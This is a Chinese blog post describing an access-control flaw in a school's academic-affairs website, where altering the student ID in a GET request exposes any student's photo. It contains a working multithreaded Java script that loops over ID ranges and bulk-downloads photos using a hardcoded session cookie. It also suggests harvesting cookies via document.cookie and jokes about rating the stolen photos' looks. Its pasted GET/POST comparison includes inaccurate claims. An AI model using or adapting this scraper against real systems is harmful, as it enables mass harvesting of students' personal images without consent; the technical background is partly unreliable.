学校教务网的一个安全漏洞

  1. 发现教务网的一个安全漏洞
    1. http的get请求和post请求的区别
    2. 探究过程
    3. 成果
    4. 注意
    5. 最后

发现教务网的一个安全漏洞

  在做一个人脸识别的项目时,需要获取学校教务网上的学生的照片,但是后来我无意中发现学校教务网上的一个安全漏洞,就是在得到自己图片的cookie之后,由于学校的http请求是get请求,并且由于cookie的权限会导致你在持有cookie的情况下可以访问学校任何一个有学号的同学的照片


http的get请求和post请求的区别

  关于这一点,直接把百度的结果粘贴如下:

   GET和POST是Http请求中最常用的两种请求方法:

首先介绍GET与POST的差异:

(1)GET请求资源数据,POST向服务器传递需要处理的数据

(2)GET传递数据大小不超过2kb,POST没有限制

(3)GET请求的参数会在Url上暴露显示,POST请求参数在Requestbody里,所以相对GET来说,POST安全性较高

(4)GET 请求的静态资源会被浏览器缓存,POST不会被缓存

(5)GET传递的数据类型是文本,POST是文本或者二进制

(6)GET请求被回退时是无害的,POST请求被回退是会被重新再执行一次GET和POST的使用场景:

(a)在传递一些机密信息时必须要使用POST
(b)只是查询获取数据时可以用GET
(c)POST请求速率会比GET慢,因为GET请求产生一个TCP数据包;POST请求产生两个TCP数据包



探究过程

  由于get请求的参数会在url暴露显示,我们可以直接更改url上的参数,将学号更改为其他人的学号来获取其他人的照片信息,但是发现这样获取太慢了,就直接写个多线程批量下载照片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import java.io.BufferedInputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;

public class downimage {
public static void downLoadFromUrl(String urlStr,String fileName,String
savePath) throws IOException{
URL url = new URL(urlStr);
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
conn.setConnectTimeout(3*1000);
System.setProperty("http.proxyHost", "localhost");
System.setProperty("http.proxyPort", "8888");
conn.setRequestProperty("User-Agent", "Mozilla/4.0 (compatible;
MSIE 5.0; Windows NT; DigExt)");
conn.setRequestProperty("Cookie","semester.id=281;
JSESSIONID=8F14338919CEA1334F7E4B558217782D;
iPlanetDirectoryPro=vYeKkeVYfd97aWCGmR2lSA");
InputStream inputStream = conn.getInputStream();
byte[] getData = readInputStream(inputStream);
File saveDir = new File(savePath);
if(!saveDir.exists()){
saveDir.mkdir();
}
File file = new File(saveDir+File.separator+fileName);
FileOutputStream fos = new FileOutputStream(file);
fos.write(getData);
if(fos!=null){
fos.close();
}
if(inputStream!=null){
inputStream.close();
}


System.out.println("info:"+url+" download success");

}




public static byte[] readInputStream(InputStream inputStream) throws
IOException {
byte[] buffer = new byte[1024];
int len = 0;
ByteArrayOutputStream bos = new ByteArrayOutputStream();
while((len = inputStream.read(buffer)) != -1) {
bos.write(buffer, 0, len);
}
bos.close();
return bos.toByteArray();
}

public static void main(String[] args) throws InterruptedException {
int z=起始学号;
int y = 结束学号;
for (int i=起始学号;i<=v结束学号;i++){
String filename=y+".jpg";
String x="网址"+z;//z是学号,由于是get请求
new Thread(new Runnable(){

@Override
public void run() {
// TODO Auto-generated method stub
try{
downLoadFromUrl(x,
filename,"C:/Users/asus/Desktop/pictures");

}catch (Exception e) {
// TODO: handle exception
}
}

}).start();
Thread.sleep(2000);
z++;
y++;

}

}
}

  线程休眠2s,之后直接将图片下载到桌面上的文件夹中,理论上你可以下载所有学生的照片,如果外带一个人脸识别接口判断颜值,就能找到校花了

成果

抓取成果:

成果截图
      ps:为保护隐私,给图片打码。

注意

  源代码中cookie是需要你手动获取的,在浏览器中打开图片前f12打开浏览器开发者模式,找到含有sessionid的cookie手动填上去。如果觉得麻烦,这里提供一个思路: 先用账号密码登录官网,然后用document.cookie获取到cookie,然后包装请求头再次发送给服务器,前提是该cookie没有设置httponly。

最后

  本篇博客原创仅供学习交流使用,如用作其他用途所承受的法律责任一概与作者无关。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 DAmarkday@163.com

文章标题:学校教务网的一个安全漏洞

文章字数:1k

本文作者:DAmarkday

发布时间:2019-08-05, 10:42:33

最后更新:2019-08-05, 13:26:36

原始链接:http://DAmarkday.com/2019/08/05/find-leak/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏